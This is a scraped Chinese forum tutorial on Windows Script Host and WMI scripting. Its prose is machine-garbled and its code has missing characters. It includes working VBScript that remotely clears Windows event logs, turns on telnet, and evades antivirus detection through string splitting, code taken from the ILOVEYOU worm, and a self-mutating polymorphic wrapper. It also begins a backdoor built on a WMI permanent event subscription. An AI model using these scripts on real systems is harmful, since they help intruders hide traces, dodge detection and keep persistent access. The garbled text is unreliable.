仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1064|回复: 8
打印 上一主题 下一主题

[学习教程] ASP.NET编程:深切发掘Windows剧本手艺

[复制链接]
爱飞 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:37:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
2003年中微软发布最新版本的ASP.netWebMatrix,对于我们喜欢用Asp.net来编程的朋友实在是个好消息,我也实实在在的将Asp.net更深入的研究了一下,以方便我以后更好的运用它,同时我也讲讲使用它的感受。window|剧本【目次】
1,媒介
2,回忆WSH工具
3,WMI服务
4,剧本也有GUI
5,反查杀
6,来做个后门
7,结语
8,参考材料

【媒介】
本文报告一些Windows剧本编程的常识和技能。这里的Windows剧本是指"WindowsScriptHost"(WSHWindows剧本宿主),而不是HTML或ASP中的剧本。前者由Wscript或Cscript注释,后二者分离由IE和IIS卖力注释。形貌的言语是VBScript。本文假定读者有必定的Windows剧本编程的基本。假如你对此还不懂得,请先进修《Windows剧本手艺》[1]。

【回忆WSH工具】
得益于com手艺的撑持,WSH能供应比批处置(.bat)更壮大的功效。说白了,wsh不外是挪用现成的“控件”作为一个工具,用工具的属性和办法完成目标。

经常使用的工具有:
WScript
Windows剧本宿主工具模子的根工具,要利用WSH天然离不开它。它供应多个子工具,好比WScript.Arguments和WScript.Shell。前者供应对全部命令行参数集的会见,后者能够运转程序、利用注册表内容、创立快速体例或会见体系文件夹。

Scripting.FileSystemObject
次要为IIS计划的工具,会见文件体系。这个生怕是人人碰到最多的工具了,由于几近一切的Windows剧本病毒都要经由过程它复制本人传染他人。

ADODB.Stream
ActiveXDataObjects数据库的子工具,供应流体例会见文件的功效。这固然属于数据库的一部分,但感激微软,ADO是体系自带的。

Microsoft.XMLHTTP
为撑持XML而计划的工具,经由过程http协定会见收集。经常使用于跨站剧本实行毛病和SQLinjection。

另有良多不罕见的:
举动目次服务接口(ADSI)相干工具――功效触及局限很广,次要用于Windows域办理。
InternetExplorer工具――做IE能做的各类事。
Word,Excel,Outlook工具――用来处置word文档,excel表单和邮件。
WBEM工具――WBEM即Web-BasedEnterpriseManagement。它为办理Windows供应壮大的功效撑持。下一节提到的WMI服务供应该工具的接口。

很明显,WSH能够使用的工具远远不止这些。本文挂一漏万,谈一些较有用的工具及其用法。
先看一个撑持断点续传下载web资本的例子,它用到了下面说的4个经常使用工具。

if(lcase(right(wscript.fullname,11))="wscript.exe")then判别剧本宿主的称号
die("ScripthostmustbeCScript.exe.")剧本宿主不是CScript,因而就die了
endif

ifwscript.arguments.count<1then最少要有一个参数
die("Usage:cscriptwebdl.vbsurl[filename]")麻雀虽小五脏俱全,Usage不克不及忘
endif

url=wscript.arguments(0)参数数组下标从0入手下手
ifurl=""thendie("URLcantbenull.")敢唬我,空url可不可
ifwscript.arguments.count>1then先判别参数个数是不是年夜于1
filename=wscript.arguments(1)再会见第二个参数
else假如没有给出文件名,就从url中取得
t=instrrev(url,"/")取得最初一个"/"的地位
ift=0ort=len(url)thendie("Cannotgetfilenametosave.")没有"/"或以"/"开头
filename=right(url,len(url)-t)取得要保留的文件名
endif
ifnotleft(url,7)="http://"thenurl=&qu...t;&url假如大意把“http://”忘了,加上

setfso=wscript.createobject("Scripting.FileSystemObject")FSO,ASO,HTTP三个工具一个都不克不及少
setaso=wscript.createobject("ADODB.Stream")
sethttp=wscript.createobject("Microsoft.XMLHTTP")

iffso.fileexists(filename)then判别要下载的文件是不是已存在
start=fso.getfile(filename).size存在,以以后文件巨细作为入手下手地位
else
start=0不存在,统统从零入手下手
fso.createtextfile(filename).close新建文件
endif

wscript.stdout.write"Connectting..."好戏方才入手下手
current=start以后地位即入手下手地位
do
http.open"GET",url,true这里用异步体例挪用HTTP
http.setrequestheader"Range","bytes="&start&"-"&cstr(start+20480)断点续传的奥妙就在这里
http.setrequestheader"Content-Type:","application/octet-stream"
http.send机关完数据包就入手下手发送

fori=1to120轮回守候
ifhttp.readystate=3thenshowplan()形态3暗示入手下手吸收数据,显现进度
ifhttp.readystate=4thenexitfor形态4暗示数据承受完成
wscript.sleep500守候500ms
next
ifnothttp.readystate=4thendie("Timeout.")1分钟还没下完20k?超时!
ifhttp.status>299thendie("Error:"&http.status&""&http.statustext)不是吧,又堕落?
ifnothttp.status=206thendie("ServerNotSupportPartialContent.")服务器不撑持断点续传

aso.type=1数据流范例设为字节
aso.open
aso.loadfromfilefilename翻开文件
aso.position=start设置文件指针初始地位
aso.writehttp.responsebody写进数据
aso.savetofilefilename,2掩盖保留
aso.close

range=http.getresponseheader("Content-Range")取得http头中的"Content-Range"
ifrange=""thendie("Cannotgetrange.")没有它就不晓得下载完了没有
temp=mid(range,instr(range,"-")+1)Content-Range是相似123-456/789的模样
current=clng(left(temp,instr(temp,"/")-1))123是入手下手地位,456是停止地位
total=clng(mid(temp,instr(temp,"/")+1))789是文件总字节数
iftotal-current=1thenexitdo停止地位比总巨细少1就暗示传输完成了
start=start+20480不然再下载20k
loopwhiletrue

wscript.echochr(13)&"Download("&total&")Done."下载完了,显现总字节数

functiondie(msg)函数名来自Perl内置函数die
wscript.echomsg交卸绝笔^_^
wscript.quit往见马克思了
endfunction

functionshowplan()显现下载进度
ifimod3=0thenc="/"复杂的静态效果
ifimod3=1thenc="-"
ifimod3=2thenc=""
wscript.stdout.writechr(13)&"Download("&current&")"&c&chr(8)13号ASCII码是回到行首,8号是退格
endfunction

能够看到,http控件的功效是很壮大的。经由过程对http头的操纵,很简单就完成断点续传。例子中只是单线程的,现实上因为http控件撑持异步伐用和事务,也能够完成多线程下载。在MSDN里有具体的用法。至于断点续传的具体材料,请看RFC2616。

FSO和ASO都能够会见文件,他们有甚么区分呢?实在,ASO除在会见字节(非文本)数占有用外,就没有存在的需要了。假如想把例子中的ASO用FSO来完成,那末写进http.responsebody的时分会堕落。反之也不可,ASO没法判别文件是不是存在。假如文件不存在,loadfromfile就间接堕落,没有更正的时机。固然,能够用onerrorresumenext语句让剧本宿主疏忽非致命毛病,本人捕获并处置。但有现成的fileexists()为何不必呢?

别的,因为FSO常常被剧本病毒和ASP木马使用,以是办理员大概会在注册表中修正该控件的信息,使剧本没法创立FSO。实在实行一个命令regsvr32/sscrrun.dll就恢复了。即便scrrun.dll被删除,本人复制一个已往就行。

热身完以后,上面我们来看一个功效壮大的工具――WBEM(由WMI供应)。

【WMI服务】
先看看MSDN里是怎样形貌WMI的――Windows办理标准(WMI)是可伸缩的体系办理布局,它接纳一个一致的、基于尺度的、可扩大的面向工具接口。我在刚入手下手了解WMI的时分,总觉得WMI是"Windows办理接口"(Interface),呵呵。

再看甚么是WMI服务――供应配合的界面和工具形式以便会见有关操纵体系、设备、使用程序和服务的办理信息。假如此服务被停止,多半基于Windows的软件将没法一般运转。假如此服务被禁用,任何依附它的服务将没法启动。

看上往仿佛是个很主要的服务。不外,默许情形下并没有服务依附它,反而是它要依附RPC和EventLog服务。但它又是经常用到的。我把WMI服务设置为手动启动并中断,利用电脑一段工夫,发明WMI服务又启动了。被必要就启动,这是服务设置为“手动”的特性。当我晓得WMI供应的办理信息有多复杂后,对WMI服务的自启动就不感应奇异了。

想直不雅懂得WMI的庞大,可使用WMITools.exe[2]这个工具。这是一个工具集。利用个中的WMIObjectBrowser能够看到良多WMI供应的工具,其庞大水平不亚于注册表。更主要的是,WMI还供应静态信息,好比以后历程、服务、用户等。

WMI的逻辑布局是如许的:
起首是WMI利用者,好比剧本(切实的说是剧本宿主)和其他用到WMI接口的使用程序。由WMI利用者会见CIM工具办理器WinMgmt(即WMI服务),后者再会见CIM(大众信息模子CommonInformationModel)贮存库。静态或静态的信息(工具的属性)就保留在CIM库中,同时还存有工具的办法。一些操纵,好比启动一个服务,经由过程实行工具的办法完成。这实践上是经由过程COM手艺挪用了各类dll。最初由dll中封装的API完成哀求。

WMI是事务驱动的,操纵体系、服务、使用程序、设备驱动程序等都可作为事务源,经由过程COM接口天生事务关照。WinMgmt捕获到事务,然后革新CIM库中的静态信息。这也是为何WMI服务依附EventLog的缘故原由。

说完观点,我们来看看详细怎样操纵WMI接口。
上面这个例子的代码来自我写的剧本RTCS。它是远程设置telnet服务的剧本。
这里只列出关头的部分:

起首是创立工具并毗连服务器:

setobjlocator=createobject("wbemscripting.swbemlocator")
setobjswbemservices=objlocator.connectserver(ipaddress,"rootdefault",username,password)

第一句创立一个服务定位工具,然后第二句用该工具的connectserver办法毗连服务器。
除IP地点、用户名、暗码外,另有一个名字空间参数rootdefault。
就像注册表有根键一样,CIM库也是分类的。用面向工具的术语来形貌就叫做“名字空间”(NameSpace)。
因为RTCS要处置NTLM认证体例和telnet服务端口,以是必要会见注册表。而操纵注册表的工具在rootdefault。

setobjinstance=objswbemservices.get("stdregprov")实例化stdregprov工具
setobjmethod=objinstance.methods_("SetDWORDvalue")SetDWORDvalue办法自己也是工具
setobjinparam=objmethod.inparameters.spawninstance_()实例化输出参数工具
objinparam.hdefkey=&h80000002根目次是HKLM,代码80000002(16进制)
objinparam.ssubkeyname="SOFTWAREMicrosoftTelnetServer1.0"设置子键
objinparam.svaluename="NTLM"设置键值名
objinparam.uvalue=ntlm设置键值内容,ntlm是变量,由用户输出参数决意
setobjoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)实行办法

然后设置端口

objinparam.svaluename="TelnetPort"
objinparam.uvalue=portport也是由用户输出的参数
setobjoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

看到这里你是否是以为有些头年夜了呢?又是名字空间,又是类的实例化。我在刚入手下手进修WMI的时分也以为很不习气。记得我的初中先生说过,念书要先把书读厚,再把书读薄。读厚是由于到场了本人的设法,读薄是由于掌控方法了。
我们如今就把书读薄。下面的代码能够改成:

setolct=createobject("wbemscripting.swbemlocator")
setoreg=olct.connectserver(ip,"rootdefault",user,pass).get("stdregprov")
HKLM=&h80000002
out=oreg.setdwordvalue(HKLM,"SOFTWAREMicrosoftTelnetServer1.0","NTLM",ntlm)
out=oreg.setdwordvalue(HKLM,"SOFTWAREMicrosoftTelnetServer1.0","TelnetPort",port)

如今是否是复杂多了?

接着是对telnet服务形态的把持。

setobjswbemservices=objlocator.connectserver(ipaddress,"rootcimv2",username,password)
setcolinstances=objswbemservices.execquery("select*fromwin32_servicewherename=tlntsvr")

此次毗连的是rootcimv2名字空间。然后接纳wql(sqlforWMI)搜刮tlntsvr服务。熟习sql语法的一看就晓得是在做甚么了。如许失掉的是一组Win32_Service实例,固然where语句决意了该组老是只要一个成员。
为复杂起见,假定只需切换服务形态。

foreachobjinstanceincolinstances
ifobjinstance.started=truethen依据started属性判别服务是不是已启动
intstatus=objinstance.stopservice()是,挪用stopservice中断服务
else
intstatus=objinstance.startservice()否,挪用startservice启动服务
endif
next

关头的代码就是这些了,其他都是处置输出输入和容错的代码。
总结一下历程:
1,毗连服务器和符合的名字空间。
2,用get或execquery办法取得所需工具的一个或一组实例。
3,读写工具的属性,挪用工具的办法。

那末,怎样晓得要毗连哪一个名字空间,取得哪些工具呢?《WMI手艺指南》[3]平分类列出了大批经常使用的工具。惋惜它没有响应的电子书,你只要到书店里找它了。你也能够用WMITools里WMICIMStudio这个工具的搜刮功效,很简单就可以找想要的工具。找到工具后,WMICIMStudio能列出其属性和办法,然后到MSDN里找详细的匡助。而使用举例,除我写的7个RS系列剧本,另有参考材料[4]。

必要出格申明的是,在参考材料[4]中,毗连服务器和名字空间用的是相似以下的语法:

SetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!"&strComputer&"ootcimv2:Win32_Process")

具体的语法在《WMI手艺指南》和MSDN中有先容,但我们不体贴它,由于这类举措没有效户名和暗码参数。因而,只要在以后用户在方针体系(含当地)有上岸权限的情形下才干利用。而connectserver假如要当地利用,第一个参数能够是127.0.0.1大概一个点".",第3、4个参数都是空字符串""。

最初,会见WMI另有一个“特权”的成绩。假如你看过ROTS的代码,你会发明有两句“奇异”的语句:

objswbemservices.security_.privileges.add23,true
objswbemservices.security_.privileges.add18,true

这是在向WMI服务请求权限。18和23都是权限代号。上面列出一些主要的代号:
5在域中创立帐户
7办理审计并检察、保留和清算平安日记
9加载和卸载设备驱动
10纪录体系工夫
11改动体系工夫
18在当地关机
22绕过历遍反省
23同意远程关机

具体信息仍是请看《WMI手艺指南》或MSDN。
一切特权默许是没有的。我在写RCAS时,由于忘了请求特权11,了局一向测试失利,好久才找到缘故原由。
只需有权限毗连WMI服务,总能乐成请求到必要的特权。这类特权机制,只是为了束缚使用程序的举动,增强体系不乱性。有点奇异的是,会见注册表却不必请求任何特权。真不晓得微软的开辟职员是怎样想的,多是会见注册表太广泛了。

【剧本也有GUI】
固然体系供应了WScript和CScript两个剧本宿主,分离卖力窗口情况和命令行情况下的剧本运转,但实践上窗口情况下用户与剧本交互不太便利:参数输出只能创建快速体例或弹出InputBox对话框,输入信息后只要在用户“断定”后才干持续运转。完整没有了窗口情况直不雅、快速的上风。幸亏有后面提到的InternetExplorer工具,剧本能够供应web作风的GUI。

仍是来看个例子,一个扫除体系日记的剧本,特地温习一下WMI:

setie=wscript.createobject("internetexplorer.application","event_")创立ie工具
ie.menubar=0作废菜单栏
ie.addressbar=0作废地点栏
ie.toolbar=0作废工具栏
ie.statusbar=0作废形态栏
ie.width=400宽400
ie.height=400高400
ie.resizable=0不同意用户改动窗口巨细
ie.navigate"about:blank"翻开空缺页面
ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2)程度居中
ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2)垂直居中
ie.visible=1窗口可见

withie.document以下挪用document.write办法,
.write"<html><bodybgcolor=#ddddddscroll=no>"写一段html到ie窗口中。
.write"<h2align=center>远程扫除体系日记</h2><br>"
.write"<p>方针IP:<inputid=iptype=textsize=15>"也能够用navigate办法间接翻开一
.write"<p>用户名:<inputid=usertype=textsize=30>"个html文件,效果是一样的。
.write"<p>暗码: <inputid=passtype=passwordsize=30>"
.write"<palign=center>范例:"不但是input工具,一切DHTML撑持
.write"<inputid=apptype=checkbox>使用程序"的工具及其属性、办法都可使用。
.write"<inputid=systype=checkbox>体系"
.write"<inputid=sectype=checkbox>平安"会见这些工具的举措和网页中会见
.write"<palign=center><br>"框架内工具是相似的。
.write"<inputid=confirmtype=buttonvalue=断定>"
.write"<inputid=canceltype=buttonvalue=作废>"
.write"</body></html>"
endwith

dimwmi显式界说一个全局变量
setwnd=ie.document.parentwindow设置wnd为窗口工具
setid=ie.document.all设置id为document中全体工具的汇合
id.confirm.onclick=getref("confirm")设置点击"断定"按钮时的处置函数
id.cancel.onclick=getref("cancel")设置点击"作废"按钮时的处置函数

dowhiletrue因为ie工具撑持事务,以是响应的,
wscript.sleep200剧本以无穷轮回来守候各类事务。
loop

subevent_onquitie加入事务处置历程
wscript.quit当ie加入时,剧本也加入
endsub

subcancel"作废"事务处置历程
ie.quit挪用ie的quit办法,封闭IE窗口
endsub随后会触发event_onquit,因而剧本也加入了

subconfirm"断定"事务处置历程,这是关头
withid
if.ip.value=""then.ip.value="."空ip值则默许是对当地操纵
ifnot(.app.checkedor.sys.checkedor.sec.checked)thenapp等都是checkbox,经由过程检测其checked
wnd.alert("最少选择一种日记")属性,来判别是不是被选中。
exitsub
endif
setlct=createobject("wbemscripting.swbemlocator")创立服务器定位工具
onerrorresumenext使剧本宿主疏忽非致命毛病
setwmi=lct.connectserver(.ip.value,"root/cimv2",.user.value,.pass.value)毗连到root/cimv2名字空间
iferr.numberthen本人捕获毛病并处置
wnd.alert("毗连WMI服务器失利")这里只是复杂的显现“失利”
err.clear
onerrorgoto0仍旧让剧本宿主处置全体毛病
exitsub
endif
if.app.checkedthenclearlog"application"扫除每种选中的日记
if.sys.checkedthenclearlog"system"
if.sec.checkedthenclearlog"security"注重,在XP下无限制,不克不及扫除平安日记
wnd.alert("日记已扫除")
endwith
endsub

subclearlog(name)
wql="select*fromWin32_NTEventLogFilewherelogfilename="&name&""
setlogs=wmi.execquery(wql)注重,logs的成员不是每条日记,
foreachlinlogs而是指定日记的文件工具。
ifl.cleareventlog()then
wnd.alert("扫除日记"&name&"时堕落!")
ie.quit
wscript.quit
endif
next
endsub

总结一下全部历程。起首是创立internetexplorer.application工具。其间接的效果是启动了一个iexplorer历程,但窗口是不成见的,直到设置了ie.visible=1。然后用document.write办法将html语句写到ie窗口中。关于庞大的界面,能够将html代码保留为一个html文件,用ie.navigate(filename)翻开。最初是呼应窗口中的输出。这基础上属于DHTML的常识范围。

与一样平常剧本编程最年夜的分歧的地方,在于ie是事务驱动的。你所要做的,就是设置好响应的事务处置函数/历程。
在本例中,剧本只体贴3个事务:ie加入,"断定"按钮被点击,"作废"按钮被点击。

注重,例子中只要两句设置事务处置历程的语句,没有界说ie加入事务与event_onquit历程联系关系。这是由于这里用到一个特征――创立ie工具时的第二个参数"event_"是一个前缀,ie工具的事务处置历程名是该前缀加事务名。以是onquit事务的处置历程默许就是event_onquit。

当点击"断定"按钮后,confirm历程被挪用。例子中演示了怎样会见ie中的工具,好比ie.document.all.ip.value就是在"方针IP"文本框中的输出。假如选中"使用程序"这个checkbox,那末ie.document.all.app.checked的值是true,不然是false。想挪用alert办法,则用ie.document.parentwindow.alert。其他各类ie内工具的会见办法完整是相似的。详细的能够看DHTML相干材料。

有了web界面,交互就变得丰厚多彩了。人人能够充实发扬创意。

好比,良多GUI工具(好比流光)启动时,有一个logo页,显现版权等信息。我们用ie工具也能够摹拟一个出来:

setie=wscript.createobject("internetexplorer.application")
ie.fullscreen=1
ie.width=300
ie.height=150
ie.navigate"about:blank"
ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2)
ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2)
ie.document.write"<bodybgcolor=skybluescroll=no><br><br>"&_
"<h2align=center>这是一个Logo</h2></body>"
ie.visible=1
wscript.sleep5000
ie.quit

下面这段代码实行后,将在屏幕中心显现一个连题目栏和边框都没有的ie窗口,延续5秒。
窗口里是蓝底黑字的“这是一个Logo”。

剧本GUI化以后,与用户的交互更直不雅。像Nmap那样有良多参数的工具,在当地利用时,写一个图形界面的“接口”就与日俱增了。输入的了局也能够用剧本处置,以更合适浏览的体例显现,就像流光等工具能天生html扫描呈报那样。

【反查杀】
起首必需申明的是,我完整没有试图应战杀毒软件杀毒才能的意义。Windows剧本是一种注释性言语,明文保留代码。因为没有经由编译历程,代码的庞大水平远不如可实行程序(exe)。exe做不到的事,没来由期望剧本能做到。不外,正由于剧本的反查杀才能很差,以致于杀毒软件利用的查杀举措也不初级。因而我们就有隙可乘了。

先看看罕见的反查杀举措:
1,字符串或语句的支解/重组。
最典范的例子就是将fso=createobject("scripting.filesystemobject")
酿成fso=createobject("script"+"ing.filesyste"+"mobject")
这类举措的扩大是用execute语句:
execute("fso=crea"+"teobject(""scr"+"ipting.filesy"+"stemobject"")")

2,变量名主动改动。

Randomize
SetOf=CreateObject("Scripting.FileSystemObject")
vC=Of.OpenTextFile(WScript.ScriptFullName,1).Readall
fS=Array("Of","vC","fS","fSC")
ForfSC=0To3
vC=Replace(vC,fS(fSC),Chr((Int(Rnd*22)+65))&Chr((Int(Rnd*22)+65))&Chr((Int(Rnd*22)+65))&Chr((Int(Rnd*22)+65)))
Next
Of.OpenTextFile(WScript.ScriptFullName,2,1).WritelinevC

下面这段代码取自爱虫病毒,人人运转一下,就晓得是怎样回事了。

3,用官方工具――剧本编码器screnc.exe[5]加密剧本。
加密后的剧本能被剧本宿主间接注释。原本这是最好的办理举措,但“枪打出头鸟”,因为加密是可逆的,如今一切的杀毒软件都有解码功效。因而这个举措的效果基础上为零。

第一个举措的无效告知我们如许一个现实:对剧本病毒的查杀基础上是属于静态的。并且,我发明即便只是改动巨细写,也能起到反查效果(只试了一种杀毒软件)。反查杀的关头是削减特性码。

关于exe的反查杀,最简单想到的就是“加壳”。在剧本上也能够使用这个举措。好比:

str="cswpire.tohcO""""!K"
fori=1tolen(str)step3
rev=rev+strreverse(mid(str,i,3))
next
executerev

一个最复杂的“壳”。“壳”的算法是每n个字符反转按次一次。n就是算法的“种子”,本例中它即是3。
这个“壳”是逝世的,起不到削减特性码的效果。反而增添了特性码,如"cswpire"。

上面看一个庞大些的例子:

str="wscript.echo""OK!"":randomize:key=int(rnd*8+2):str=rev:str=replace(str,chr(34),chr(34)+chr(34)):setaso=createobject(""ADODB.Stream""):withaso:.open:.writetext""str=""+chr(34)+str+chr(34)+"":key=""+cstr(key)+"":str=rev:executestr:functionrev():fori=1tolen(str)stepkey:rev=rev+strreverse(mid(str,i,key)):next:endfunction"":.savetofilewscript.scriptfullname,2:endwith":key=1:str=rev:executestr:functionrev():fori=1tolen(str)stepkey:rev=rev+strreverse(mid(str,i,key)):next:endfunction

(注重,该代码只要一行,没有回车)
保留成vbs文件,双击实行,效果仍是和前一段代码一样,弹出一个对话框显现"OK!"。
可是,实行完后再看代码,大概酿成了如许:

str="tpircsw""ohce.ar:""!KOezimodnni=yek:8*dnr(trts:)2+ts:ver=alper=r,rts(ec)43(rhc43(rhc,3(rhc+)tes:))4rc=osajboetaeDA""(tcertS.BDOw:)""maeosahti:nepo.:tetirw.ts""txerhc+""=rts+)43(3(rhc+rek:""+)4tsc+""=y+)yek(rr=rts:""cexe:vertsetuitcnuf:(vernoirof:)lot1=)rts(nekpets=ver:yerts+veresreverts(dim(yek,i,rtxen:))ufdne:""noitcntevas.:welifo.tpircsftpircsemanlludne:2,htiw":key=7:str=rev:executestr:functionrev():fori=1tolen(str)stepkey:rev=rev+strreverse(mid(str,i,key)):next:endfunction

再实行,又酿成其他模样了。这个剧本是自变形的。

假如细心看代码就会发明,“壳”的算法仍旧,而“种子”随机改动。可是,加壳过的内容每次分歧了,“壳”自己仍是没有任何改动。良多exe加壳工具加的壳,自己就被看成歹意代码来提取特性码。为了更好的反查杀,剧本的“壳”也必要静态改动。这就要用到所谓的多态手艺。不外,exe的多态是用来革命态查杀的,而剧本的“多态”只是对付静态查杀,二者有很年夜分歧。

关于exe,真实的多态今朝还未传闻被完成的。剧本也只能做几算几。
不影响功效的变形办法,除下面提到的3种,另有:
1,随机改动巨细写;
2,冒号(:)与回车符随机交换(字符串内和"then"以后的冒号除外);
3,字符串支解时,"+"与"&"随机交换;
4,()+-*/&,等字符双方恣意增加空格或续行符(_)和回车符的组合;
5,用自界说函数交换内置函数;即便自界说的函数只是复杂的封装内置函数,但最少改动了关头字的地位。
…………
另有其他“多态”算法有待你的研讨。

这些算法的使用,是以年夜幅增添代码长度为条件的。假如想写一个对照完善的“壳”,信任会触及到“文法剖析”的常识,由于剧本要“读懂”本人,从而到达相似Java搅浑器的效果,这就很庞大了,无机会再和人人切磋。上面我们使用“语句支解”、“变量名主动改动”、“随机巨细写”、“+和&交换”四种办法,看一下效果怎样:

A001="wscript.echo""OK!"":A004=chr(34):randomize:A005=int(rnd*24000+40960):A001=A006(A001):A000=A005mod10+2:A001=replace(A002,A004,A004&A004):setA007=createobject(""ADODB.Stream""):A007.open:A007.writetexthex(A005+1)&""=""&A004&A001&A004&A008("":execute""&A004&A006(""A000=""&A000&"":A001=A002:executeA001:functionA002():forA003=1tolen(A001)stepA000:A002=A002+strreverse(mid(A001,A003,A000)):next:endfunction"")&A004):A007.savetofilewscript.scriptfullname,2:functionA006(A009):forA00A=0to12:A009=replace(A009,hex(&HA000+A00A),hex(A005+A00A)):next:A006=A009:endfunction:functionA008(A009):forA00A=1tolen(A009):A00B=mid(A009,A00A,1):ifint(rnd*2-1)thenA00B=ucase(A00B):endif:ifA00A>11andint(rnd*5)=0thenA008=A008&A004&chr(38+int(rnd*2)*5)&A004:endif:A008=A008&A00B:next:endfunction":A000=1:A001=A002:executeA001:functionA002():forA003=1tolen(A001)stepA000:A002=A002+strreverse(mid(A001,A003,A000)):next:endfunction

(注重,个中没有回车符)
下面是“原版”的,保留为vbs文件双击运转,仍是弹出对话框显现"OK!"。再看代码变构成甚么样了(效果是随机的):

B906="tpircsw""ohce.9B:""!KO(rhc=90nar:)43:ezimodni=A09B2*dnr(t04+00049B:)069B09B=60:)609B(9B=509BdomA09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09BboetaerA""(tcejtS.BDOD:)""maerpo.C09BC09B:netetirw.xehtxe1+A09B(B&""=""&)09B&909&909B&6:""(D09Betucexe909B&""""(B09B&&""=509B:""&509B9B=609Bcexe:709Betucnuf:609Bnoitof:)(70=809Brelot1)609B(nBpets09B:509+709B=7everrtsdim(esrB,609B(09B,809xen:))5fdne:tnoitcnu909B&)"".C09B:)fotevascswelics.tpirluftpir2,emanlitcnuf:B09Bno:)E09B(09Brofot0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))F0B09B:txe:E09B=cnufdnuf:noitnoitcn9B(D09Brof:)E01=F09Bnelot:)E09B(im=019B,E09B(d)1,F09Btnifi:-2*dnr(neht)1u=019B9B(esacdne:)01fi:fi11>F09Bnidna5*dnr(teht0=)=D09Bn9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fidne:B=D09B:19B&D09:txen:0nufdnenoitc":EXecUTe"B9"&"05=7"&":B906"&"=B907:E"+"XEc"+"utEB906"+":FuN"&"ctIoNB9"&"07():fOr"+"B9"+"08=1tOl"&"En(B906)"+"stepB905:B907"&"=B907+"&"sTRreVErSe(MId("&"B9"&"0"&"6,B908,B905"&")"+"):N"+"eX"+"t"+":eNdfUN"&"CtiOn"

目炫了没?再来一次:

F0CB="rcsw.tpiohceKO""F:""!=EC0(rhc:)43dnarzimo0F:ei=FCr(tn2*dn0004904+:)06BC0FD0F=0F(0:)BCAC0FC0F=omF01dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0Frc=1etaeejbo""(tcDODAtS.BmaerF:)"".1D0nepoD0F:rw.1tetitxe(xehFC0F&)1+&""=""EC0FC0F&0F&BF&EC(2D0xe:""tuce&""eEC0FD0F&F""(0=AC00F&""""&ACC0F:0F=Be:CCucexetBC0Fnuf:oitc0Fn)(CCrof:C0F1=DlotF(ne)BC0ets0FpF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tufditcn)""noC0F&F:)E.1D0evasifotwelirCSS.tppircluftmanl:2,ecnufnoitD0F0F(0:)3Drof4D0Ft0=21oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Dfdntcnu:noicnufnoitD0F0F(2:)3Drof4D0Ft1=elo0F(n:)3D5D0Fdim=D0F(0F,31,4Dfi:)tnidnr(1-2*ht)Fne=5D0sacu0F(e:)5Ddnei:fi0Ff1>4Dna1nidnr(t)5*dt0=neh2D0FD0F=0F&2c&EC3(rhni+8nr(t)2*d&)5*EC0Fdne::fi2D0FD0F=0F&2n:5D:txednecnufnoit":eXecUtE"F"+"0CA"&"=4:F0CB"+"="+"F0CC:eX"+"e"+"cUteF0CB"&":F"+"UNC"+"tIOnF0CC():F"+"or"+"F0"&"CD=1tOLEN(F0CB)sTEpF0CA:F0CC=F0CC+strR"+"Ever"+"SE"&"(mID("+"F0CB,"+"F0CD,F0CA)):nEXT:eNdFU"&"nCTIo"&"N"

如许够了吗?――不晓得。大概杀毒引擎原本就是疏忽巨细写的,原本就可以主动毗连字符串,原本就可以“文法剖析”……
这个“壳”有有用性吗?――没有。由于“壳”的算法太复杂。“种子”A000=A005mod10+2,以是假如不思索主动改动的变量名,加壳后的代码只要10种模样。
怎样改善这个“壳”?――固然是用更庞大的算法,更多的“多态”。

假如你有乐趣,能够先看谁人“原版”的剧本代码(把冒号都交换为回车,可读性就对照好了),然后本人增强它。
固然,你也能够重整旗鼓,自在展示你的创意。

【来做个后门】
在会商剧本后门前,先要先容一类很有效的WMI工具。现实上,这才是本节的关头。剧本后门不外是它的一个使用罢了。

后面已说过,WMI是事务驱动的。全部事务处置机制分为四个部分:
1,事务临盆者(provider):卖力发生事务。WMI包括大批的事务临盆者。有功能计数器之类的详细的事务临盆者,也有类、实例的创立、修正、删除等通用的事务临盆者。

2,事务过滤器(filter):体系时时刻刻都在发生大批的事务,经由过程自界说过滤器,剧本能够捕捉感乐趣的事务举行处置。

3,事务消耗者(consumer):卖力处置事务。它能够是可实行程序、静态链接库(dll,由WMI服务加载)大概剧本。

4,事务绑定(binding):经由过程将过滤器和消耗者绑定,明白甚么事务由甚么消耗者卖力处置。

事务消耗者能够分为一时的和永世的两类。一时的事务消耗者只在其运转时代体贴特定事务并处置。永世消耗者作为类的实例注册在WMI名字空间中,一向无效直到它被刊出。明显,永世事务消耗者更具有用性。仍是来看个例子:

nslink="winmgmts:.ootcimv2:"只必要当地毗连,以是用这类语法,不必swbemlocator工具

setasec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_创立“举动剧本事务消耗者”
asec.name="stopped_spooler_restart_consumer"界说消耗者的名字
asec.scriptingengine="vbscript"界说剧本言语(只能是vbscript)
asec.scripttext="getobject(""winmgmts:win32_service=spooler"").startservice"剧本代码
setasecpath=asec.put_注册消耗者,前往其链接

setevtflt=getobject(nslink&"__EventFilter").spawninstance_创立事务过滤器
evtflt.name="stopped_spooler_filter"界说过滤器的名字
qstr="select*from__instancemodificationeventwithin5"每5秒查询一次“实例修正事务”
qstr=qstr&"wheretargetinstanceisa""win32_service""and"方针实例的类是win32_service
qstr=qstr&"targetinstance.name=""spooler"""实例名是spooler
qstr=qstr&"andtargetinstance.state=""stopped"""实例的state属性是stopped
evtflt.query=qstr界说查询语句
evtflt.querylanguage="wql"界说查询言语(只能是wql)
setfltpath=evtflt.put_注册过滤器,前往其链接

